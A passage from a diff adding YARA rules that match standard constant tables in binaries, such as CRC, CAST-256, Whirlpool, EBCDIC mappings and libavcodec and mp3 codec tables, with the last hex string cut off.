+	$a0 = { 000091d4a349329dc67357a7653af4ee0c079dd3af4e3e9aca745ba0693df8e9180e89dabb472a93de7d4fa97d34ece0140985ddb7402694d27a43ae7133e0e7301ca1c893550281f66f67bb5526c4f23c1badcf9f520e86fa686bbc5921c8f52812b9c68b5b1a8fee617fb54d28dcfc2415b5c1875c1688e26673b2412fd0fb6038f1ecc37152a5a64b379f050294d66c3ffdebcf765ea2aa4c3b98090598d17836e9e2db7f4aabbe452f911d0c8cd87431e5e5d77846acb2422396110b80df5024c1f0f36d62b996570783351ea4ca5c23cdf7ff6a6ebe9a500b843919a8cd482ad9feeb637ab78e591f8d2d10bcc4442dd5f9e76476b0825e138a2117b0c3c07051a46339f2ed060397d7a54a349ecc775da36f3efeea0a049bd0a94d3899d87e49aa7b37eae31e0d8fd9bd442c90d47945ad7730e6e4120a83deb1432097f06c61b85325c2f1361fa7cb95560482fc6b6dbf5f22cef63a18abcc99510885e86279b64b2bdaff2e11bfc58d581c8ce46575b1472cd6f82216b3c2815f108ba048319c030192d5663bf7efc57254a6ac4f3d9b0f069ed26a3cfbe8c97558a1b84629921b0f8adb7e35efe1dd7c4ca8b4412595170886dc7232e3e6d17b40af90540180331da2c95627c7f3f56e64ba9c530d873f1aaece5a20cbf4f96968bd885a198e2b13bac74e29dffded607cb4845d15892714b6c0422ed3fae16770b3 }
+
+condition:
+	$a0
+}
+
+	
+rule Gamespy_GSMSALG__8_byt_256_
+{
+strings:
+	$a0 = { 01bafab25100548075168e8e020836a52d050d165207b4228ce909d6b92600040605001318c41e5b1d7674fc5051061600512800040a2978510001115216064a208401a21e16471632519ac4032a73e12d4f184b934c0f390a0004c0120c9a5e02b318b8070ccd2105c0a94143043c5275ec98801d08021d5884014e3b6a537a5556571e7fecb8ad00701f82d8fc978bf083fe0e7603be39297730e02bffb79e0104f8010ee853ff940cb2459e0ac706180164b0039801eb02b001b41249071f5f5e5da04f5ba05a5958cf5254d0b83402fc0e4229b8da00bab1f012fd23aeb645a9bb06b8881424a90014cb2412aecc5756eefd0830d9fd8b3e0a8446fa77b8 }
+
+condition:
+	$a0
+}
+
+	
+rule Generic_bitmask_table__32_big_128_
+{
+strings:
+	$a0 = { 000000000000000100000003000000070000000f0000001f0000003f0000007f000000ff000001ff000003ff000007ff00000fff00001fff00003fff00007fff0000ffff0001ffff0003ffff0007ffff000fffff001fffff003fffff007fffff00ffffff01ffffff03ffffff07ffffff0fffffff1fffffff3fffffff7fffffff }
+
+condition:
+	$a0
+}
+
+	
+rule PADDINGXXPADDING__8_byt_STR_16_
+{
+strings:
+	$a0 = { 50414444494e47585850414444494e47 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0x8005__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000c1c081c1400101c3c003800241c201c6c006800741c70005c1c581c4400401ccc00c800d41cd000fc1cf81ce400e000ac1ca81cb400b01c9c009800841c801d8c018801941d9001bc1db81da401a001ec1de81df401f01ddc01d801c41dc0014c1d481d5401501d7c017801641d601d2c012801341d30011c1d181d0401001f0c030803141f10033c1f381f240320036c1f681f7403701f5c035803441f4003cc1fc81fd403d01ffc03f803e41fe01fac03a803b41fb0039c1f981f840380028c1e881e9402901ebc02b802a41ea01eec02e802f41ef002dc1ed81ec402c01e4c024802541e50027c1e781e640260022c1e281e3402301e1c021802041e001a0c060806141a10063c1a381a240620066c1a681a7406701a5c065806441a4006cc1ac81ad406d01afc06f806e41ae01aac06a806b41ab0069c1a981a840680078c1b881b9407901bbc07b807a41ba01bec07e807f41bf007dc1bd81bc407c01b4c074807541b50077c1b781b640760072c1b281b3407301b1c071807041b00050c190819140510193c053805241920196c056805741970055c19581944054019cc05c805d419d005fc19f819e405e005ac19a819b405b0199c059805841980188c04880494189004bc18b818a404a004ec18e818f404f018dc04d804c418c0044c184818540450187c047804641860182c042804341830041c18181804040 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0x000000000000001B__64_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000000000001b0000000000000036000000000000002d000000000000006c0000000000000077000000000000005a000000000000004100000000000000d800000000000000c300000000000000ee00000000000000f500000000000000b400000000000000af0000000000000082000000000000009900000000000000b001000000000000ab0100000000000086010000000000009d01000000000000dc01000000000000c701000000000000ea01000000000000f101000000000000680100000000000073010000000000005e01000000000000450100000000000004010000000000001f010000000000003201000000000000290100000000000060030000000000007b0300000000000056030000000000004d030000000000000c0300000000000017030000000000003a030000000000002103000000000000b803000000000000a3030000000000008e030000000000009503000000000000d403000000000000cf03000000000000e203000000000000f903000000000000d002000000000000cb02000000000000e602000000000000fd02000000000000bc02000000000000a7020000000000008a020000000000009102000000000000080200000000000013020000000000003e02000000000000250200000000000064020000000000007f0200000000000052020000000000004902000000000000c006000000000000db06000000000000f606000000000000ed06000000000000ac06000000000000b7060000000000009a060000000000008106000000000000180600000000000003060000000000002e06000000000000350600000000000074060000000000006f060000000000004206000000000000590600000000000070070000000000006b0700000000000046070000000000005d070000000000001c0700000000000007070000000000002a070000000000003107000000000000a807000000000000b3070000000000009e070000000000008507000000000000c407000000000000df07000000000000f207000000000000e907000000000000a005000000000000bb0500000000000096050000000000008d05000000000000cc05000000000000d705000000000000fa05000000000000e105000000000000780500000000000063050000000000004e05000000000000550500000000000014050000000000000f050000000000002205000000000000390500000000000010040000000000000b0400000000000026040000000000003d040000000000007c0400000000000067040000000000004a040000000000005104000000000000c804000000000000d304000000000000fe04000000000000e504000000000000a404000000000000bf0400000000000092040000000000008904000000000000800d0000000000009b0d000000000000b60d000000000000ad0d000000000000ec0d000000000000f70d000000000000da0d000000000000c10d000000000000580d000000000000430d0000000000006e0d000000000000750d000000000000340d0000000000002f0d000000000000020d000000000000190d000000000000300c0000000000002b0c000000000000060c0000000000001d0c0000000000005c0c000000000000470c0000000000006a0c000000000000710c000000000000e80c000000000000f30c000000000000de0c000000000000c50c000000000000840c0000000000009f0c000000000000b20c000000000000a90c000000000000e00e000000000000fb0e000000000000d60e000000000000cd0e0000000000008c0e000000000000970e000000000000ba0e000000000000a10e000000000000380e000000000000230e0000000000000e0e000000000000150e000000000000540e0000000000004f0e000000000000620e000000000000790e000000000000500f0000000000004b0f000000000000660f0000000000007d0f0000000000003c0f000000000000270f0000000000000a0f000000000000110f000000000000880f000000000000930f000000000000be0f000000000000a50f000000000000e40f000000000000ff0f000000000000d20f000000000000c90f000000000000400b0000000000005b0b000000000000760b0000000000006d0b0000000000002c0b000000000000370b0000000000001a0b000000000000010b000000000000980b000000000000830b000000000000ae0b000000000000b50b000000000000f40b000000000000ef0b000000000000c20b000000000000d90b000000000000f00a000000000000eb0a000000000000c60a000000000000dd0a0000000000009c0a000000000000870a000000000000aa0a000000000000b10a000000000000280a000000000000330a0000000000001e0a000000000000050a000000000000440a0000000000005f0a000000000000720a000000000000690a00000000000020080000000000003b0800000000000016080000000000000d080000000000004c0800000000000057080000000000007a080000000000006108000000000000f808000000000000e308000000000000ce08000000000000d50800000000000094080000000000008f08000000000000a208000000000000b90800000000000090090000000000008b09000000000000a609000000000000bd09000000000000fc09000000000000e709000000000000ca09000000000000d109000000000000480900000000000053090000000000007e09000000000000650900000000000024090000000000003f0900000000000012090000000000000909000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule NSA_LPC_10_Voice_Coder_TAU__32_lil_240_
+{
+strings:
+	$a0 = { 1400000015000000160000001700000018000000190000001a0000001b0000001c0000001d0000001e0000001f0000002000000021000000220000002300000024000000250000002600000027000000280000002a0000002c0000002e00000030000000320000003400000036000000380000003a0000003c0000003e00000040000000420000004400000046000000480000004a0000004c0000004e0000005000000054000000580000005c0000006000000064000000680000006c0000007000000074000000780000007c0000008000000084000000880000008c0000009000000094000000980000009c000000 }
+
+condition:
+	$a0
+}
+
+	
+rule bijective_ebcdic_to_ascii_table__32_big_1024_
+{
+strings:
+	$a0 = { 000000000000000100000002000000030000008500000009000000860000007f000000870000008d0000008e0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000008f0000000a000000080000009700000018000000190000009c0000009d0000001c0000001d0000001e0000001f000000800000008100000082000000830000008400000092000000170000001b00000088000000890000008a0000008b0000008c000000050000000600000007000000900000009100000016000000930000009400000095000000960000000400000098000000990000009a0000009b00000014000000150000009e0000001a00000020000000a0000000e2000000e4000000e0000000e1000000e3000000e5000000e7000000f1000000600000002e0000003c000000280000002b0000007c00000026000000e9000000ea000000eb000000e8000000ed000000ee000000ef000000ec000000df00000021000000240000002a000000290000003b0000009f0000002d0000002f000000c2000000c4000000c0000000c1000000c3000000c5000000c7000000d10000005e0000002c000000250000005f0000003e0000003f000000f8000000c9000000ca000000cb000000c8000000cd000000ce000000cf000000cc000000a80000003a0000002300000040000000270000003d00000022000000d8000000610000006200000063000000640000006500000066000000670000006800000069000000ab000000bb000000f0000000fd000000fe000000b1000000b00000006a0000006b0000006c0000006d0000006e0000006f000000700000007100000072000000aa000000ba000000e6000000b8000000c6000000a4000000b5000000af000000730000007400000075000000760000007700000078000000790000007a000000a1000000bf000000d0000000dd000000de000000ae000000a2000000a3000000a5000000b7000000a9000000a7000000b6000000bc000000bd000000be000000ac0000005b0000005c0000005d000000b4000000d7000000f9000000410000004200000043000000440000004500000046000000470000004800000049000000ad000000f4000000f6000000f2000000f3000000f5000000a60000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000b9000000fb000000fc000000db000000fa000000ff000000d9000000f7000000530000005400000055000000560000005700000058000000590000005a000000b2000000d4000000d6000000d2000000d3000000d500000030000000310000003200000033000000340000003500000036000000370000003800000039000000b30000007b000000dc0000007d000000da0000007e }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_svq1_frame_size_table__16_lil_32_
+{
+strings:
+	$a0 = { A000780080006000B000900060012001C0024002F000B4004001F000FFFFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule CAST_256_t_m__32_lil_768_
+{
+strings:
+	$a0 = { 9979825aa1d651d1a9332148b190f0beb9edbf35c14a8facc9a75e23d1042e9ad961fd10e1becc87e91b9cfef1786b75f9d53aec01330a630990d9d911eda850194a78c721a7473e290417b53161e62b39beb5a2411b85194978549051d523073a655cc942c22b404a1ffbb6527cca2d5ad999a46236691b6a93389272f007097a4dd77f82aaa6f68a07766d926445e49ac1145ba21ee4d1aa7bb348b2d882bfba355236c29221adcaeff023d24cc09adaa98f11e2065f88ea632efff2c0fd75db503638e3ad05afeb0ad525f367a49cfbc473130322438a0b7f120113dce1771b39b1ee239680652bf34fdc33501f533badeec9430abe404b678db753c45c2e5b212ca5637efb1b6bdbca9273389a097b95698083f238f78b4f086e93acd7e47c3c10a78499df1d8cf6ae9494537e0b9cb04d82a40d1df9ac6aec6fb4c7bbe6bc248b5dc4815ad4ccde294bd43bf9c1dc98c838e4f597afec526726f4af369dfc0c0614046ad58a0cc7a401142474781c8143ef24de12662c3be2dc3498b1531d28ea152585b98c2de28803353f587a3d9c27f145f9f6674d56c6de55b395555d1065cc656d34436dca03ba7527d3307d84a2a785e1711e8d3e4195959b100c9df8df82a555aff9adb27e70b50f4ee7bd6c1d5ec5c9ecd4cd26bc4bd5838bc2be13c484c67093fbcecd6272d62a32e9de870160e6e4d0d6ee41a04df69e6fc4fefb3e3b06590eb20eb6dd281613ad9f1e707c1626cd4b8d2e2a1b043687ea7a3ee4b9f1464189684e9e58df56fb27565e58f7cc66b5c6436e1296ba766f65315fff9df3675c6d6a6fb93ce177160c587f73dbce87d0aa458f2d7abc978a49339fe718aaa744e820afa1b797b7fe860ebf5b5685c7b825fccf15f572d772c4e9dfcf9360e72c63d7ef89324ef7e601c5ff43d13b07a1a0b20ffe6f29175b3fa000eb7762084847d910a516501802e6c6205fb53d28bc84b43019542b387623a240d3f2184830c28f508d910658ea607d604730f468a4ff6a7001cfe1785e9e5880bb6dcf88183d4690750cbd98d2db33a02fabaaa88c7a21b0e94998b846190f }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_obsolete_C0_table__64_lil_2048_
+{
+strings:
+	$a0 = { 3078c018601818d846af05238c23232691f97ec63fc6c6b8cd6f13e887e8e8fb13a14c87268787cb6d62a9b8dab8b81102050801040101099e6e424f214f4f0d6ceead36d836369b510459a6a2a6a6ffb9bdded26fd2d20cf706fbf5f3f5f50ef280ef79f9797996dece5f6fa16f6f303feffc917e91916da407aa52555252f8c0fd27609d606047657689bccabcbc352bcdac9b569b9b37018c048e028e8e8a5b1571a3b6a3a3d2183c600c300c0c6cf68aff7bf17b7b846ae1b535d43535803a69e81d741d1df5dd4753e0a7e0e0b3b3acf6d77bd7d72199ed5ec22fc2c29c5c966d2eb82e2e43967a624b314b4b29e121a3fedffefe5dae168257415757d52a41a815541515bdeeb69f77c17777e86eeba537dc373792d7567be5b3e5e59e23d98c9f469f9f13fd17d3f0e7f0f023947f6a4a354a4a20a9959eda4fdada44b025fa587d5858a28fca06c903c9c9cf528d5529a429297c1422500a280a0a5a7f4fe1b1feb1b1505d1a69a0baa0a0c9d6da7f6bb16b6b1417ab5c852e8585d9677381bdcebdbd3cba34d25d695d5d8f2050801040101090f503f3f4f7f4f4078bc016cb0bcbcbdd7cc6ed3ef83e3ed30a1128051405052dcee61f6781676778d55373e4b7e4e4974ebb25279c27270282583241194141730b9d2c8b168b8ba7530151a7a6a7a7f6fa94cf7de97d7db237fbdc956e959549ad9f8ed847d8d856eb308bfbcbfbfb70c17123ee9feeeecdf891c77ced7c7cbbcce3176685666671a78ea6dd53dddd7b2e4bb8175c1717af8e4602470147474521dc849e429e9e1a89c51eca0fcacad45a99752db42d2d58637991bfc6bfbf2e0e1b38071c07073f472301ad8eadadacb42fea5a755a5ab01bb56c83368383ef66ff8533cc3333b6c6f23f639163635c040a100208020212493839aa92aaaa93e2a8af71d97171de8dcf0ec807c8c8c6327dc819641919d1927072493949493baf9a86d943d9d95ff91dc3f2eff2f231db484be3abe3e3a8b62ae25b715b5bb90d9234881a8888bc29c8a49a529a9a3e4cbe2d269826260b64fa8d32c83232bf7d4ae9b0fab0b059cf6a1be983e9e9f21e33780f3c0f0f77b7a6e6d573d5d5331dba74803a8080f4617c99bec2bebe2787de26cd13cdcdeb68e4bd34d034348990757a483d484832e324abffdbffff54f48ff77af57a7a8d3deaf4907a909064be3ec25f615f5f9d40a01d208020203dd0d56768bd68680f3472d01a681a1aca412c19ae82aeaeb7755ec9b4eab4b47da8199a544d5454ce3be5ec937693937f44aa0d228822222fc8e907648d646463ff12dbf1e3f1f12ae6a2bf73d17373cc245a901248121282805d3a401d40407a10284008200808489be856c32bc3c395c57b33ec97ececdfab9096db4bdbdb4d5f1f61a1bea1a1c007831c8d0e8d8d917ac9f53df43d3dc833f1cc976697975b000000000000000083d436cf1bcfcff95687452bac2b2b6eecb39776c57676e119b06482328282e6b1a9fed67fd6d6283677d81b6c1b1bc3775bc1b5eeb5b574432911af86afafbed4df776ab56a6a1da00dba505d5050ea8a4c124509454557fb18cbf3ebf3f33860f09d30c03030adc3742bef9befefc47ec3e53ffc3f3fdaaa1c9255495555c7591079a2b2a2a2dbc96503ea8feaeae9caec0f658965656a6968b9bad2baba035e93652fbc2f2f4a9de74ec027c0c08ea181bede5fdede60386ce01c701c1cfce72ebbfdd3fdfd469a64524d294d4d1f39e0e49272929276eabc8f75c97575fa0c1e3006180606360998248a128a8aae7940f9b2f2b2b24bd15963e6bfe6e6851c36700e380e0e7e3e63f81f7c1f1fe7c4f7376295626255b5a3eed477d4d43a4d3229a89aa8a88131f4c49662969652ef3a9bf9c3f9f96297f666c533c5c5a34ab1352594252510b220f259795959ab15ae54842a8484d0e4a7b772d57272c572ddd539e43939ec98615a4c2d4c4c16bc3bca5e655e5e94f085e778fd78789f70d8dd38e03838e50586148c0a8c8c98bfb2c6d163d1d117570b41a5aea5a5e4d94d43e2afe2e2a1c2f82f619961614e7b45f1b3f6b3b34242a515218421213425d6949c4a9c9c083c66f01e781e1eee865222431143436193fc76c73bc7c7b1e52bb3fcd7fcfc4f0814200410040424a208b251595151e32fc7bc995e999925dac44f6da96d6d221a39680d340d0d65e93583facffafa79a384b6df5bdfdf69fc9bd77ee57e7ea948b43d249024241976d7c53bec3b3bfe4b3d31ab96abab9a81d13ece1fcecef0225588114411119903890c8f068f8f839c6b4a4e254e4e047351d1b7e6b7b766cb600beb8bebebe078ccfd3cf03c3cc11fbf7c813e8181fd35fed4946a949440f30cebf7fbf7f71c6f67a1b9deb9b918265f98134c13138b589c7d2cb02c2c51bbb8d6d36bd3d305d35c6be7bbe7e78cdccb576ea56e6e3995f36ec437c4c4aa060f18030c03031bac138a56455656dc88491a440d44445efe9edf7fe17f7fa04f3721a99ea9a98854824d2aa82a2a676b6db1bbd6bbbb0a9fe246c123c1c187a602a253515353f1a58baedc57dcdc721627580b2c0b0b5327d39c9d4e9d9d01d8c1476cad6c6c2b62f59531c43131a4e8b98774cd7474f3f109e3f6fff6f6158c430a460546464c452609ac8aacaca50f973c891e8989b52844a014501414b4df425be1a3e1e1ba2c4eb016581616a674d2cd3ae83a3af7d2d06f69b9696906122d480924090941e0ada770dd7070d77154d9b6e2b6b66fbdb7ced067d0d01ec77e3bed93ededd685db2ecc17cccce284572a42154242682dc2b4985a98982c550e49a4aaa4a4ed50885d28a0282875b831da5c6d5c5c86ed3f93f8c7f8f86b11a44486228686c2 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_24_128__avcodec___faad___32_big_60_
+{
+strings:
+	$a0 = { 00000004000000080000000c0000001000000014000000180000001c000000240000002c00000034000000400000004c0000005c0000006c00000080 }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_8____PQuant____31__8_byt_24_
+{
+strings:
+	$a0 = { 000706010102010203010304010405010506010607000608 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab24__16_lil_1022_
+{
+strings:
+	$a0 = { 3DFE8BFFD5FFE7FFF1FFF9FFFDFFFFFFEF00FE00FFFFDF00FD00FDFFFFFFCF00FC00FFFFBF00FB00FBFFFFFFFA00FFFFAF009F00FFFFF900F800F7FFFBFFFDFFFFFF8F007F00F700FFFF6F00F600FDFFFFFF5F00F500FFFF4F00F400B9FFF9FFFDFFFFFF3F00F300FFFF2F00F200FBFFFFFFF100FFFF1F00F000E7FFF7FFFFFF0F00FDFFFFFFEE00DE00FFFFED00CE00F9FFFDFFFFFFEC00DD00FFFFBE00EB00FDFFFFFFCD00DC00FFFFAE00EA00F1FFF9FFFDFFFFFFBD00DB00FFFFCC009E00FDFFFFFFE900AD00FFFFDA00BC00F9FFFDFFFFFFCB008E00FFFFE8009D00FDFFFFFFD9007E00FFFFE700AC00FF0015FF71FFB3FFD3FFE7FFF1FFF9FFFDFFFFFFCA00BB00FFFF8D00D800FBFFFDFFFFFF0E00E0000D00E600FBFFFDFFFFFF6E009C00C900FFFF5E00BA00F7FFFBFFFFFFE500FFFFAB007D00FFFFD700E400FDFFFFFF8C00C800FDFFFFFF4E002E003E00F1FFF9FFFDFFFFFF6D00D600FFFFE3009B00FDFFFFFFB900AA00FFFFE2001E00F9FFFDFFFFFFE1005D00FFFFD5007C00FDFFFFFFC7004D00FFFF8B00B800E1FFF1FFF9FFFDFFFFFFD4009A00FFFFA9006C00FDFFFFFFC6003D00FFFFD3002D00F9FFFDFFFFFFD2001D00FFFF7B00B700FDFFFFFFD1005C00FFFFC5008A00EFFFF9FFFDFFFFFFA8009900FFFF4C00C400FDFFFFFF6B00B600FDFFFFFFD0000C003C00F9FFFDFFFFFFC3007A00FFFFA7002C00FDFFFFFFC2005B00FFFFB5001C00C7FFDDFFEDFFF9FFFDFFFFFF89009800FFFFC1004B00FBFFFDFFFFFFC0000B003B00FDFFFFFFB0000A001A00FBFFFFFFB400FFFF6A00A600FDFFFFFF79009700FDFFFFFFA00009009000F7FFFDFFFFFFB3008800FDFFFFFF2B005A00B200F9FFFDFFFFFFA5001B00FFFFB1006900FFFF9600A400EFFFF7FFFBFFFDFFFFFF4A0078008700FFFF3A00A300FDFFFFFF59009500FFFF2A00A200F9FFFDFFFFFFA1006800FFFF86007700FDFFFFFF49009400FFFF39009300C1FFE1FFF1FFF9FFFDFFFFFF58008500FFFF29006700FDFFFFFF76009200FFFF19009100F9FFFDFFFFFF48008400FFFF57007500FDFFFFFF38008300FFFF66002800EFFFF9FFFDFFFFFF82001800FFFF47007400FBFFFFFF8100FFFF08008000FFFF56006500F9FFFBFFFFFF1700FFFF070070007300FDFFFFFF370027007200F1FFF9FFFDFFFFFF46006400FFFF55007100FDFFFFFF36006300FFFF45005400F9FFFDFFFFFF26006200FFFF16006100FBFFFDFFFFFF060060003500FFFF53004400CDFFDBFFE9FFF1FFF7FFFDFFFFFF25005200FFFF1500FFFF05005000FFFF5100FFFF34004300FDFFFFFF24004200FFFF33001400F7FFFBFFFFFF4100FFFF04004000FFFF23003200FFFF13003100F9FFFBFFFDFFFFFF0300300022001200FFFF2100FFFF02002000FDFFFFFF11000100FFFF10000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Little_CMS_isotempdata__flt64___64_lil_992_
+{
+strings:
+	$a0 = { 00000000000000005caca8c1340cc73f04e275fd82ddd03f637ac2120f28cfbf00000000000024408e01d9ebdd1fc73f1557957d5704d13f034356b77a4ed0bf0000000000003440a04fe449d235c73fad2f12da722ed13ffa449e245d33d1bf0000000000003e401fbaa0be654ec73fb324404d2d5bd13f87bf266bd443d2bf00000000000044402788ba0f406ac73f5f24b4e55c8ad13f39d6c56d3480d3bf0000000000004940b6b9313d6189c73feb1c03b2d7bbd13fb6f3fdd478e9d4bf0000000000004e405c72dc291dacc73f3bc780ecf5eed13f8e3ba583f57fd6bf000000000080514018b2bad573d2c73f8811c2a38d23d23f4ed1915cfe43d8bf0000000000005440789ca223b9fcc73fb7b41a12f758d23f4bea04341136dabf0000000000805640ed0dbe30992ac83f3b8db454de8ed23f11aad4ec8156dcbf0000000000005940062ae3df675cc83fbf654e97c5c4d23fbc57ad4cf8a5debf0000000000405f40efe192e34ee9c83fb5fd2b2b4d4ad33fc7d79e5912a0e2bf0000000000c062409352d0ed258dc93f7c2766bd18cad33fcc4065fcfb8ce6bf0000000000e065401283c0caa145ca3f53910a630b41d43f4243ff04172bebbf00000000000069407233dc80cf0fcb3fcbbe2b82ffadd43f5f984c158c4af0bf0000000000206c40618e1ebfb7e9cb3f7233dc80cf0fd53f645ddc460378f3bf0000000000406f40e353008c67d0cc3f11018750a566d53f8048bf7d1d38f7bf00000000003071401a8ba6b393c1cd3f344b02d4d4b2d53fcceec9c342adfbbf0000000000c072404182e2c798bbce3ff758fad005f5d53fa60a4625758200c000000000005074401f9dbaf2599ecf3f76711b0de02dd63f910f7a36abbe03c00000000000e07540ff092e56d460d03f58ffe7305f5ed63fbc96900f7ab607c000000000007077404c37894160e5d03fba490c022b87d63fbb270f0bb5a60cc000000000000079409604a8a9656bd13f7ea99f3715a9d63f158c4aea047411c00000000000907a40350708e6e8f1d13f8577b988efc4d63f5305a3923a8115c00000000000207c40293fa9f6e978d23fecfa05bb61dbd63fba6b09f9a0e71ac00000000000b07d408f53742497ffd23f938c9c853dedd63f37894160e53021c00000000000407f406744696ff085d33fd061bebc00fbd63fd9cef753e3a526c000000000006880405ddc4603780bd43f309e4143ff04d73fa8c64b3789412fc00000000000308140ab09a2ee0390d43f959a3dd00a0cd73f33333333335337c00000000000f8814088ba0f406a13d53f8d7a88467710d73fc3f5285c8f6244c00000000000c0824068cbb9145795d53fa661f8889812d73fcdcccccccc1c5dc0 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_place_420__16_lil_3240_
+{
+strings:
+	$a0 = { 240c1224363000004818240e122636320002481a2410122836340004481c26101428383402044a1c260e1426383202024a1a260c1424383002004a18280c16243a3004004c18280e16263a3204024c1a281016283a3404044c1c2a1018283c3406044e1c2a0e18263c3206024e1a2a0c18243c3006004e182c0c1a243e30080050182c0e1a263e320802501a2c101a283e340804501c2e101c2840340a04521c2e0e1c2640320a02521a2e0c1c2440300a005218300c1e2442300c005418300e1e2642320c02541a30101e2842340c04541c3210202844340e04561c320e202644320e02561a320c202444300e005618340c2224463010005818340e222646321002581a3410222846341004581c2412122a36360006481e2414122c3638000848202416122e363a000a48222616142e383a020a4a222614142c383802084a202612142a383602064a1e2812162a3a3604064c1e2814162c3a3804084c202816162e3a3a040a4c222a16182e3c3a060a4e222a14182c3c3806084e202a12182a3c3606064e1e2c121a2a3e360806501e2c141a2c3e38080850202c161a2e3e3a080a50222e161c2e403a0a0a52222e141c2c40380a0852202e121c2a40360a06521e30121e2a42360c06541e30141e2c42380c08542030161e2e423a0c0a54223216202e443a0e0a56223214202c44380e0856203212202a44360e06561e3412222a46361006581e3414222c4638100858203416222e463a100a582224181230363c000c4824241a1232363e000e4826241c1234364000104828261c1434384002104a28261a1432383e020e4a2626181430383c020c4a24281816303a3c040c4c24281a16323a3e040e4c26281c16343a4004104c282a1c18343c4006104e282a1a18323c3e060e4e262a1818303c3c060c4e242c181a303e3c080c50242c1a1a323e3e080e50262c1c1a343e40081050282e1c1c3440400a1052282e1a1c32403e0a0e52262e181c30403c0a0c522430181e30423c0c0c5424301a1e32423e0c0e5426301c1e3442400c105428321c203444400e105628321a2032443e0e0e562632182030443c0e0c562434182230463c100c5824341a2232463e100e5826341c2234464010105828241e123636420012482a2420123836440014482c2422123a36460016482e2622143a384602164a2e26201438384402144a2c261e1436384202124a2a281e16363a4204124c2a282016383a4404144c2c2822163a3a4604164c2e2a22183a3c4606164e2e2a2018383c4406144e2c2a1e18363c4206124e2a2c1e1a363e420812502a2c201a383e440814502c2c221a3a3e460816502e2e221c3a40460a16522e2e201c3840440a14522c2e1e1c3640420a12522a301e1e3642420c12542a30201e3842440c14542c30221e3a42460c16542e3222203a44460e16562e3220203844440e14562c321e203644420e12562a341e223646421012582a3420223846441014582c3422223a46461016582e2424123c3600001848302426123e3602001a4832242812403604001c4834262814403804021c4a342626143e3802021a4a322624143c380002184a302824163c3a0004184c302826163e3a02041a4c32282816403a04041c4c342a2818403c04061c4e342a26183e3c02061a4e322a24183c3c0006184e302c241a3c3e00081850302c261a3e3e02081a50322c281a403e04081c50342e281c4040040a1c52342e261c3e40020a1a52322e241c3c40000a18523030241e3c42000c18543030261e3e42020c1a543230281e4042040c1c54343228204044040e1c56343226203e44020e1a56323224203c44000e1856303424223c4600101858303426223e4602101a5832342822404604101c5834242a12423606001e4836242c1244360800204838242e1246360a0022483a262e1446380a02224a3a262c1444380802204a38262a14423806021e4a36282a16423a06041e4c36282c16443a0804204c38282e16463a0a04224c3a2a2e18463c0a06224e3a2a2c18443c0806204e382a2a18423c06061e4e362c2a1a423e06081e50362c2c1a443e08082050382c2e1a463e0a0822503a2e2e1c46400a0a22523a2e2c1c4440080a2052382e2a1c4240060a1e5236302a1e4242060c1e5436302c1e4442080c205438302e1e46420a0c22543a322e2046440a0e22563a322c204444080e205638322a204244060e1e5636342a22424606101e5836342c2244460810205838342e2246460a1022583a24301200360c0024483c24321202360e0026483e2434120436100028484026341404381002284a4026321402380e02264a3e26301400380c02244a3c283016003a0c04244c3c283216023a0e04264c3e283416043a1004284c402a3418043c1006284e402a3218023c0e06264e3e2a3018003c0c06244e3c2c301a003e0c0824503c2c321a023e0e0826503e2c341a043e10082850402e341c0440100a2852402e321c02400e0a26523e2e301c00400c0a24523c30301e00420c0c24543c30321e02420e0c26543e30341e0442100c2854403234200444100e28564032322002440e0e26563e32302000440c0e24563c34302200460c1024583c34322202460e1026583e34342204461010285840243612063612002a4842243812083614002c4844243a120a3616002e4846263a140a3816022e4a46263814083814022c4a44263614063812022a4a42283616063a12042a4c42283816083a14042c4c44283a160a3a16042e4c462a3a180a3c16062e4e462a3818083c14062c4e442a3618063c12062a4e422c361a063e12082a50422c381a083e14082c50442c3a1a0a3e16082e50462e3a1c0a40160a2e52462e381c0840140a2c52442e361c0640120a2a524230361e0642120c2a544230381e0842140c2c5444303a1e0a42160c2e5446323a200a44160e2e56463238200844140e2c56443236200644120e2a5642343622064612102a5842343822084614102c5844343a220a4616102e5846243c120c361800304800243e120e361a0032480224401210361c0034480426401410381c02344a04263e140e381a02324a02263c140c381802304a00283c160c3a1804304c00283e160e3a1a04324c02284016103a1c04344c042a4018103c1c06344e042a3e180e3c1a06324e022a3c180c3c1806304e002c3c1a0c3e18083050002c3e1a0e3e1a083250022c401a103e1c083450042e401c10401c0a3452042e3e1c0e401a0a3252022e3c1c0c40180a305200303c1e0c42180c305400303e1e0e421a0c32540230401e10421c0c34540432402010441c0e345604323e200e441a0e325602323c200c44180e305600343c220c461810305800343e220e461a1032580234402210461c1034580424421212361e0036480624441214362000384808244612163622003a480a264614163822023a4a0a26441414382002384a0826421412381e02364a06284216123a1e04364c06284416143a2004384c08284616163a22043a4c0a2a4618163c22063a4e0a2a4418143c2006384e082a4218123c1e06364e062c421a123e1e083650062c441a143e20083850082c461a163e22083a500a2e461c1640220a3a520a2e441c1440200a3852082e421c12401e0a36520630421e12421e0c36540630441e1442200c38540830461e1642220c3a540a3246201644220e3a560a3244201444200e38560832422012441e0e36560634422212461e1036580634442214462010385808344622164622103a580a240012183624003c480c2402121a3626003e480e2404121c3628004048102604141c382802404a102602141a3826023e4a0e260014183824023c4a0c280016183a24043c4c0c2802161a3a26043e4c0e2804161c3a2804404c102a04181c3c2806404e102a02181a3c26063e4e0e2a0018183c24063c4e0c2c001a183e24083c500c2c021a1a3e26083e500e2c041a1c3e28084050102e041c1c40280a4052102e021c1a40260a3e520e2e001c1840240a3c520c30001e1842240c3c540c30021e1a42260c3e540e30041e1c42280c4054103204201c44280e4056103202201a44260e3e560e3200201844240e3c560c340022184624103c580c3402221a4626103e580e3404221c4628104058102406121e